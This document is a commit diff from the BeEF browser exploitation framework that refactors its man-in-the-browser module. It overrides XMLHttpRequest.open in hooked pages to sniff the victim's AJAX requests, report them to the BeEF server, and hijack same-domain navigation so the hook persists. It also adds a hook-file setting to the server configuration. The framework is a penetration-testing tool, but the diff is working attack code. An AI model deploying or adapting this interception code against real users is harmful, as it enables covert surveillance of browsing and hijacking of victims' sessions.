Refactored mitm.js AJAX sniffing feature. Fixed a couple of other bugs in mitb.js
This commit is contained in:
@@ -15,46 +15,30 @@ beef.mitb = {
|
|||||||
beef.mitb.curl = curl;
|
beef.mitb.curl = curl;
|
||||||
/*Override open method to intercept ajax request*/
|
/*Override open method to intercept ajax request*/
|
||||||
var xml_type;
|
var xml_type;
|
||||||
|
var hook_file = "<%= @hook_file %>";
|
||||||
|
|
||||||
if (window.XMLHttpRequest && !(window.ActiveXObject)) {
|
if (window.XMLHttpRequest && !(window.ActiveXObject)) {
|
||||||
|
|
||||||
xml_type = 'XMLHttpRequest';
|
|
||||||
}
|
|
||||||
|
|
||||||
if (xml_type == "XMLHttpRequest") {
|
|
||||||
beef.mitb.sniff("Method XMLHttpRequest.open override");
|
beef.mitb.sniff("Method XMLHttpRequest.open override");
|
||||||
(function (open) {
|
(function (open) {
|
||||||
XMLHttpRequest.prototype.open = function (method, url, async, user, pass) {
|
XMLHttpRequest.prototype.open = function (method, url, async, mitb_call) {
|
||||||
|
// Ignore it and don't hijack it. It's either a request to BeEF (hook file or Dynamic Handler)
|
||||||
var portRegex = new RegExp(":[0-9]+");
|
// or a request initiated by the MiTB itself.
|
||||||
var portR = portRegex.exec(url);
|
if (mitb_call || (url.indexOf(hook_file) != -1 || url.indexOf("/dh?") != -1)) {
|
||||||
/*return :port*/
|
open.call(this, method, url, async, true);
|
||||||
var requestPort;
|
}else {
|
||||||
|
var portRegex = new RegExp(":[0-9]+");
|
||||||
if (portR != null) {
|
var portR = portRegex.exec(url);
|
||||||
requestPort = portR[0].split(":");
|
var requestPort;
|
||||||
}
|
if (portR != null) { requestPort = portR[0].split(":")[1]; }
|
||||||
|
|
||||||
if ((user == "beef") && (pass == "beef")) {
|
|
||||||
/*a poisoned something*/
|
|
||||||
open.call(this, method, url, async, null, null);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
else if (url.indexOf("hook.js") != -1 || url.indexOf("/dh?") != -1) {
|
|
||||||
/*a beef hook.js polling or dh */
|
|
||||||
open.call(this, method, url, async, null, null);
|
|
||||||
}
|
|
||||||
|
|
||||||
else {
|
|
||||||
|
|
||||||
|
//GET request
|
||||||
if (method == "GET") {
|
if (method == "GET") {
|
||||||
|
//GET request -> cross-domain
|
||||||
if (url.indexOf(document.location.hostname) == -1 || (portR != null && requestPort != document.location.port )) {
|
if (url.indexOf(document.location.hostname) == -1 || (portR != null && requestPort != document.location.port )) {
|
||||||
beef.mitb.sniff("GET [Ajax CrossDomain Request]: " + url);
|
beef.mitb.sniff("GET [Ajax CrossDomain Request]: " + url);
|
||||||
window.open(url);
|
window.open(url);
|
||||||
|
}else { //GET request -> same-domain
|
||||||
}
|
|
||||||
else {
|
|
||||||
beef.mitb.sniff("GET [Ajax Request]: " + url);
|
beef.mitb.sniff("GET [Ajax Request]: " + url);
|
||||||
if (beef.mitb.fetch(url, document.getElementsByTagName("html")[0])) {
|
if (beef.mitb.fetch(url, document.getElementsByTagName("html")[0])) {
|
||||||
var title = "";
|
var title = "";
|
||||||
@@ -63,26 +47,19 @@ beef.mitb = {
|
|||||||
} else {
|
} else {
|
||||||
title = document.getElementsByTagName("title")[0].innerHTML;
|
title = document.getElementsByTagName("title")[0].innerHTML;
|
||||||
}
|
}
|
||||||
/*write the url of the page*/
|
// write the url of the page
|
||||||
history.pushState({ Be:"EF" }, title, url);
|
history.pushState({ Be:"EF" }, title, url);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
}else{
|
||||||
}
|
//POST request
|
||||||
else {
|
beef.mitb.sniff("POST ajax request to: " + url);
|
||||||
/*if we are here we have an ajax post req*/
|
open.call(this, method, url, async, true);
|
||||||
beef.mitb.sniff("Post ajax request to: " + url);
|
|
||||||
open.call(this, method, url, async, user, pass);
|
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
})(XMLHttpRequest.prototype.open);
|
})(XMLHttpRequest.prototype.open);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
},
|
},
|
||||||
|
|
||||||
// Initializes the hook on anchors and forms.
|
// Initializes the hook on anchors and forms.
|
||||||
@@ -161,7 +138,7 @@ beef.mitb = {
|
|||||||
fetchForm:function (url, query, target) {
|
fetchForm:function (url, query, target) {
|
||||||
try {
|
try {
|
||||||
var y = new XMLHttpRequest();
|
var y = new XMLHttpRequest();
|
||||||
y.open('POST', url, false, "beef", "beef");
|
y.open('POST', url, false, true);
|
||||||
y.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
|
y.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
|
||||||
y.onreadystatechange = function () {
|
y.onreadystatechange = function () {
|
||||||
if (y.readyState == 4 && y.responseText != "") {
|
if (y.readyState == 4 && y.responseText != "") {
|
||||||
@@ -181,7 +158,7 @@ beef.mitb = {
|
|||||||
fetch:function (url, target) {
|
fetch:function (url, target) {
|
||||||
try {
|
try {
|
||||||
var y = new XMLHttpRequest();
|
var y = new XMLHttpRequest();
|
||||||
y.open('GET', url, false, "beef", "beef");
|
y.open('GET', url, false, true);
|
||||||
y.onreadystatechange = function () {
|
y.onreadystatechange = function () {
|
||||||
if (y.readyState == 4 && y.responseText != "") {
|
if (y.readyState == 4 && y.responseText != "") {
|
||||||
|
|
||||||
@@ -204,7 +181,7 @@ beef.mitb = {
|
|||||||
try {
|
try {
|
||||||
var target = document.getElementsByTagName("html")[0];
|
var target = document.getElementsByTagName("html")[0];
|
||||||
var y = new XMLHttpRequest();
|
var y = new XMLHttpRequest();
|
||||||
y.open('GET', url, false, "beef", "beef");
|
y.open('GET', url, false, true);
|
||||||
y.onreadystatechange = function () {
|
y.onreadystatechange = function () {
|
||||||
if (y.readyState == 4 && y.responseText != "") {
|
if (y.readyState == 4 && y.responseText != "") {
|
||||||
var title = "";
|
var title = "";
|
||||||
|
|||||||
@@ -74,6 +74,9 @@ module BeEF
|
|||||||
# @note set the XHR-polling timeout
|
# @note set the XHR-polling timeout
|
||||||
hook_session_config['xhr_poll_timeout'] = config.get("beef.http.xhr_poll_timeout")
|
hook_session_config['xhr_poll_timeout'] = config.get("beef.http.xhr_poll_timeout")
|
||||||
|
|
||||||
|
# @note set the hook file path
|
||||||
|
hook_session_config['hook_file'] = config.get("beef.http.hook_file")
|
||||||
|
|
||||||
# @note if http_port <> public_port in config ini, use the public_port
|
# @note if http_port <> public_port in config ini, use the public_port
|
||||||
unless hook_session_config['beef_public_port'].nil?
|
unless hook_session_config['beef_public_port'].nil?
|
||||||
if hook_session_config['beef_port'] != hook_session_config['beef_public_port']
|
if hook_session_config['beef_port'] != hook_session_config['beef_public_port']
|
||||||
|
|||||||
Reference in New Issue
Block a user